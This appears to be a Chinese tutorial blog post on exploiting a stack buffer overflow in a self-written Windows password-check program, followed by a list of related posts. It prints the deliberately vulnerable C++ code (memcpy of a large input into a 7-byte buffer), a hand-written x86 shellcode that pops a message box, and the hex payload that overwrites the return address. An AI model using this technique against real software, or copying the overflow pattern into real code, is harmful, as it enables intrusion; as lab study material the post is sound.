软件漏洞--Hello-Shellcode

使用上一次的栈溢出的漏洞软件

可以直接通过栈溢出来修改返回值,或者要跳转的函数地址

实现一个ShellCode来跳转自己的代码

源bug软件代码

#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<iostream>
using namespace std;

int checkPassword(const char* password,int size)
{
int result = 1;
char buff[7]{};
result = strcmp(password, "51hook");
memcpy(buff, password, size);
return result;
}

int main()
{
int flag = 0;
char password[0x500];
while (1)
{
printf("请输入密码\n");
//int result = scanf("%s", password);
FILE* fp;
if ((fp = fopen("E:\\Project_Sum\\ShellCode\\ShellCode_test1\\password.txt", "rb")) == NULL)
{
return 0;
}
int result = fscanf(fp, "%s", password);
flag = checkPassword(password,sizeof(password));
if (flag)
{
MessageBoxA(0, "密码错误!", "提示", MB_OK);
}
else
{
MessageBoxA(0, "密码正确!", "提示", MB_OK);
break;
}
}
return 0;
}

这个有一个缺口就是输入这里,我们可以直接把我们想要实现的代码逻辑通过改为硬编码来直接输入进去

将自己要实现的代码逻辑编写成一个裸函数,然后将裸函数编写得到硬编码后输入到这个txt中,然后把那个ret哪里的返回要跳转的地址指向硬编码的地址,这样就实现了一个很简单的注入软件栈溢出漏洞

#include<Windows.h>
#include<iostream>
using namespace std;
DWORD a;
void _declspec(naked) shellcode()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x30
// S n a 1 l   G o
// 53 6E 61 31 6C 47 6F
push 0x006F476C;
push 0x31616E53;
mov eax,esp
push 0;
push 0;
push eax;
push 0;
mov eax, 0x76C31930;
call eax;
add esp, 0x30;
pop ebp;
mov eax,0x00401186;
jmp eax;
}
}

int main1()
{
HMODULE hModule = LoadLibraryA("user32.dll");
//char*add = (char*)GetProcAddress(hModule, "MessageBoxA");
//a = (DWORD)add;
cout << "hello" << endl;
shellcode();
return 0;
}

总结

利用shellcode来实现通过软件漏洞入侵,这里我实现的是通过栈溢出来实现入侵,将要修改的代码逻辑用硬编码填充处理

但是这个我写的shellcode非常简单且辣鸡,原因是我的自己的硬编码首位置是固定位置,应该是随着软件生成而生成的位置才对

通过栈溢出的输入来输入我们的硬编码实现代码逻辑处理,而我们的硬编码可以通过ShellCode生成一个裸函数然后把裸函数的硬编码输入进去,裸函数是利用汇编语言写的各种函数可以查看另外一个博客看裸函数

https://www.cnblogs.com/Sna1lGo/p/14393960.html

//这个是有漏洞的软件
#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<iostream>
using namespace std;

int checkPassword(const char* password,int size)
{
int result = 1;
char buff[7]{};
result = strcmp(password, "51hook");
memcpy(buff, password, size);
return result;
}

int main()
{
int flag = 0;
char password[0x500];
while (1)
{
printf("请输入密码\n");
//int result = scanf("%s", password);
FILE* fp;
if ((fp = fopen("E:\\Project_Sum\\ShellCode\\ShellCode_test1\\password.txt", "rb")) == NULL)
{
return 0;
}
int result = fscanf(fp, "%s", password);
flag = checkPassword(password,sizeof(password));
if (flag)
{
MessageBoxA(0, "密码错误!", "提示", MB_OK);
}
else
{
MessageBoxA(0, "密码正确!", "提示", MB_OK);
break;
}
}
return 0;
}
//这个是文本
31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31
14 FA 19 00 55 8B EC 83 EC 30 68 6C 47 6F 00 68
53 6E 61 31 8B C4 6A 00 6A 00 50 6A 00 B8 30 19
C3 76 FF D0 83 C4 30 5D B8 CA 13 40 00 FF E0
//这个是写的shellcode
#include<Windows.h>
#include<iostream>
using namespace std;
DWORD a;
void _declspec(naked) shellcode()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x30
// S n a 1 l   G o
// 53 6E 61 31 6C 47 6F
push 0x006F476C;
push 0x31616E53;
mov eax,esp
push 0;
push 0;
push eax;
push 0;
mov eax, 0x76C31930;
call eax;
add esp, 0x30;
pop ebp;
mov eax, 0x004013CA;
jmp eax;

}
}

int main1()
{
HMODULE hModule = LoadLibraryA("user32.dll");
cout << "hello" << endl;
shellcode();
return 0;
}

软件漏洞--Hello-Shellcode的更多相关文章

  1. CVE-2015-1641 Office类型混淆漏洞及shellcode分析

    作者:枕边月亮 原文来自:CVE-2015-1641 Office类型混淆漏洞及shellcode分析 0x1实验环境:Win7_32位,Office2007 0x2工具:Windbg,OD,火绒剑, ...

  2. 如何使用kali的Searchsploit查找软件漏洞

    Searchsploit Searchsploit会通过本地的exploit-db, 查找软件漏洞信息 打开kali的命令行, 输入: searchsploit 查看系统帮助 查找mssql的漏洞 如 ...

  3. 禁被ping 软件漏洞升级

    禁被ping:echo “net.ipv4.icmp_echo_ignore_all=1”  /etc/sysctl.conf 软件漏洞升级:yum install openssh bash -y

  4. 书评第003篇:《0day安全:软件漏洞分析技术(第2版)》

    本书基本信息 丛书名:安全技术大系 作者:王清(主编),张东辉.周浩.王继刚.赵双(编著) 出版社:电子工业出版社 出版时间:2011-6-1 ISBN:9787121133961 版次:1 页数:7 ...

  5. 《0day安全软件漏洞分析技术》学习笔记

    最近因为工作需要在看0day的软件漏洞分析,发现这本<0day安全软件漏洞分析技术(第2版)>真是本好书,唯一缺点就是书上的环境是Windows XP 32Bit的,基于现状难以进行实践, ...

  6. 《ODAY安全:软件漏洞分析技术》学习心得-----shellcode的一点小小的思考

    I will Make Impossible To I'm possible -----------LittleHann 看了2个多星期.终于把0DAY这本书给看完了,自己动手将书上的实验一个一个实现 ...

  7. 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!

    零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...

  8. 《0day安全-软件漏洞分析技术》实验笔记2

    实验 3.4 通用shellcode 工具 Windows XP SP3 Visual C++ 6.0 OD IDA 源代码 见随书代码,参考:https://github.com/jas502n/0 ...

  9. Linux软件漏洞-1

    RHSA-2018:3107-中危: wpa_supplicant 安全和BUG修复更新 漏洞编号:CVE-2018-14526 漏洞公告:wpa_supplicant中未经身份验证的EAPOL-Ke ...

随机推荐

  1. css variables & CSS 变量

    css variables & CSS 变量 https://gist.github.com/xgqfrms-GitHub/5d022a13292c615d2730e84d909e1aba c ...

  2. learning all in one

    learning learning all in one https://github.com/xgqfrms/learning/tree/gh-pages/GraphQL https://githu ...

  3. Elastic Search 原理剖析

    Elastic Search 原理剖析 Elasticsearch 是一个开源的分布式 RESTful 搜索和分析引擎,能够解决越来越多不同的应用场景. 搜索引擎 refs https://www.e ...

  4. js & Event Bus

    js & Event Bus global event handler (broadcast / trigger / emit / listen ) // 实现一个 EventBus类,这个类 ...

  5. div & drop

    div & drop uplaod file & prevent dropleave https://www.runoob.com/jsref/event-ondrop.html ht ...

  6. WPF MVVM实例三

    在没给大家讲解wpf mwm示例之前先给大家简单说下MVVM理论知识: WPF技术的主要特点是数据驱动UI,所以在使用WPF技术开发的过程中是以数据为核心的,WPF提供了数据绑定机制,当数据发生变化时 ...

  7. HashMap是如何进行扩容的?

    HashMap通过resize()方法进行扩容. 源码解析: resize()函数有两种使用情况: 一.当table数组为null时初始化hash表. 二.当table数组不为null时进行扩容. 1 ...

  8. oracle 查锁

    reference:https://www.cnblogs.com/XQiu/p/5212787.html--以下几个为相关表SELECT * FROM v$lock;SELECT * FROM v$ ...

  9. Django的视图层和模板层

    目录 一.视图层 1. 小白必会三板斧 2. JsonResponse 3. FBV与CBV 3.1 FVB 3.2 CBV 4. CBV的源码 5. 给CBV加装饰器 二.模板层 1. 模板语法 2 ...

  10. 第一篇文章 vim的使用

    这么长时间以来,一直没有在博客园上写过博文.那第一篇博文就以vim的使用为开端吧. 不知道有多少人还在用着ctrl+c,ctrl+v这种方式,不过,就我个人而言,还是很倾向于vim的.不管是在服务器上 ...